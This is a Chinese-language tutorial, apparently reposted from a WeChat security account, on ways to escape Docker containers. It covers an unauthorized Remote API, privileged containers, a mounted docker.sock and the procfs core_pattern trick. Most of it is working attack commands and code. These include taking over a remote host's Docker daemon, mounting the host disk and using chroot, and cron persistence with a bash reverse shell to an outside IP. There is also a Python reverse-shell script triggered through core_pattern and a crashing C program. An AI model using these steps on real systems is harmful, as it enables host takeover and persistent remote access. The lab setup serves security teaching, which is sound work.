1、Docker Remote API未授权访问逃逸
漏洞简介及危害
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。 攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。
漏洞利用
1-1、环境搭建
这里使用vulhub中的漏洞环境
cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d
(2)手动搭建
查询docker服务
systemctl status docker.service
编辑docker服务文件
vim /usr/lib/systemd/system/docker.service
在ExecStart行后面追加以下内容
-H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
- -H tcp://0.0.0.0:2375允许通过网络远程访问 Docker,但可能有安全风险,需要加密和访问控制来保护。
- -H unix://var/run/docker.sock只能本地访问,通常更安全,适用于本地命令行工具和进程之间的通信。不适用于远程访问。(这个配置下文的挂载docker socket逃逸会用到)
重新加载 systemd 守护程序,以便使对 systemd 服务的更改生效
systemctl daemon-reload
重启docker服务
systemctl restart docker.service
查看端口是否开启
netstat -nlpt
1-2、漏洞验证
访问version和info界面,如果存在返回信息,说明漏洞存在。
1-3、漏洞利用
通过任意一台安装了docker的主机,执行命令查看目标主机是否存在正在运行的docker镜像,结果为空,说明不存在正在运行的docker容器。
查看容器运行情况
docker -H tcp://81.68.121.124:2375 ps
让目标主机拉取一个镜像
docker -H tcp://81.68.121.124:2375 pull alpine
查看目标主机拉取的镜像
以特权模式,启动拉取的alpine镜像
docker -H tcp://81.68.121.124:2375 run -it --privileged alpine /bin/sh
docker run --cap-add SYS_ADMIN -it alpine #这是第二种方法
这里为什么要用特权容器:
Docker 中的特权容器(privileged containers)是一种容器配置,它赋予容器更高级别的操作权限,允许容器执行一些通常需要主机级别权限的操作。特权容器与普通容器的主要区别在于其拥有更多的主机权限,这允许容器在主机上执行更多的系统级任务,但也会降低容器的安全性和隔离性。
以下是关于 Docker 特权容器的一些重要信息:
- 访问主机设备:特权容器可以访问主机上的设备文件,这包括硬件设备、网络设备等。这使得容器可以执行与硬件操作相关的任务。
- 更高级别的文件系统访问:特权容器可以在主机文件系统中执行读写操作,包括挂载文件系统、更改文件权限等。这使得容器可以执行更多的文件系统操作。
- 关闭容器隔离性:特权容器的隔离性较低,与主机更为接近,因此容器之间的隔离较差。这可能导致容器之间的互相干扰和冲突。
- 更高的安全风险: 由于特权容器拥有更多的主机权限,因此它们可能更容易受到恶意攻击或滥用。因此,在生产环境中使用特权容器需要格外小心,确保只授予必要的权限。
- 用途示例:特权容器在某些情况下可能是必要的,例如需要访问主机上的硬件设备、执行一些系统级操作或进行调试。然而,在大多数情况下,普通容器就足够了,而不需要特权权限。
判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
查看CapEff
cat /proc/self/status |grep Cap
确定了是特权容器才能挂载,没有就像上面自己创一个
查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中
fdisk -l
mkdir /sss
mount /dev/vda1 /sss
使用chroot获取宿主机权限
chroot /sss
1-4、权限维持
创建文件,写入反弹shell,并写入计划任务
mkdir ssh
cd ssh
echo "bash -i >& /dev/tcp/101.36.108.16/6666 0>&1" > key.sh #此ip为攻击ip
echo "* * * * * root bash /root/ssh/key.sh" >> /root/ssh/key.sh #5个*代表每分钟
返回到攻击主机,已成功收到shell
2、privileged特权模式启动容器逃逸
这个不用多说了,上文已经介绍了。。。
在实战中还是有可能遇到的,特殊场景下比如要使用到systemctl时就要使用该权限。
还是一样的,先查看权限,发现是特权容器,直接挂载宿主机目录进行逃逸
3、危险挂载导致Docker逃逸
这个也不用多说,上文也有,主要就是看我们打入的容器中有没有挂载物理机磁盘,但是挂载宿主机磁盘又需要容器是特权容器,所以和上文一样操作查看特权。
4、挂载Docker Socket逃逸
漏洞简介及危害
Docker Socket:Docker Daemon(Docker 服务)默认会创建一个 Unix 套接字文件,通常位于 /var/run/docker.sock,称为 Docker Socket。这个套接字文件允许 Docker 客户端与 Docker Daemon 之间进行通信,以执行容器的创建、启动、停止等操作。
容器内攻击:如果容器内的用户或攻击者能够访问 Docker Socket(通常需要容器具有足够的权限),他们可以使用 Docker 客户端命令与 Docker Daemon 交互,也就是在启动docker容器时,将宿机/var/run/docker.sock文件挂载到docker容器中,在docker容器中,也可以操作宿主机的docker。
攻击利用:攻击者可以使用 Docker 客户端命令来执行危险的操作,例如在宿主机上创建或启动其他容器、挂载主机文件系统、访问敏感主机上的文件等。这些操作可以导致攻击者获得对宿主机的控制权。
危害:Docker Socket 逃逸可能导致攻击者访问、修改或破坏主机上的文件系统、容器和其他资源。这可能包括泄漏敏感信息、执行恶意代码、危害主机上其他容器的安全性等。
补充:Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标docker,使用docker命令,操作docker:
命令如下:
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
漏洞利用
4-1、环境搭建
搭建
docker pull ubuntu:16.04
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
4-2、漏洞验证
如果存在这个文件,说明漏洞可能存在
查看是否存在docker.sock文件
find / -name docker.sock
4-3、漏洞利用
在docker容器中安装docker
安装docker
apt-get update
apt-get install docker.io
在docker容器中,使用命令查看宿主机拉取的镜像
查看镜像
docker -H unix://var/run/docker.sock images
后面就可以创建特权容器,然后chroot获取宿主机权限啦
4-4、权限维持
和上文步骤相同
5、挂载宿主机 procfs 逃逸
漏洞简介及危害
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的。
procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,如果/proc/sys/kernel/core_pattern文件中的首个字符是管道符| ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。当利用这种方式进行docker逃逸时,触发条件比较苛刻,需要有进程奔溃才能触发。(只适用于内核版本2.6.19及以后的系统)
一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有这种情况发生。
漏洞利用
5-1、环境搭建
将/prco挂载到容器
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:16.04
5-2、漏洞验证
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs,或者第二个指令
find / -name core_pattern
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
5-3、漏洞利用
当启动一个容器时,会在/var/lib/docker/overlay2目录下生成一层容器层,容器层里面包括diff、link、lower、merged、work目录,而docker容器的目录保存在merged目录中,通过命令找到当前容器在宿主机下的绝对路径,workdir代表的是docker容器在宿主机中的绝对路径。
找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
安装vim、gcc
apt-get update -y && apt-get install vim gcc -y
创建一个反弹 Shell 的 py 脚本
vim /tmp/.t.py
内容为:
反弹shell的python脚本
#!/usr/bin/python
import os
import pty
import socket
lhost = "101.36.108.16"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
给 Shell 赋予执行权限
chmod 777 .t.py
修改/host/proc/sys/kernel/core_pattern文件以达到修改宿主机/proc/sys/kernel/core_pattern的目的,这样一来,Linux转储机制在程序发生崩溃时就能够顺利找到我们在容器内部的/tmp/.t.py了。
写入反弹 shell 到目标的 proc 目录下
echo -e "|/var/lib/docker/overlay2/239a40266adbac1502ec4dadc1639fc703eb4d04df828e9cda9807ef642f7ce2/merged/tmp/.t.py rcore" > /host/proc/sys/kernel/core_pattern
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
#include <stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
编译并执行
gcc t.c -o t
./t
反弹成功!!
这里有个注意点:
若用云服务器作为攻击机,反弹shell的端口一定要在防火墙处打开。
原文始发于微信公众号(德斯克安全小课堂):浅谈docker逃逸的几种方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论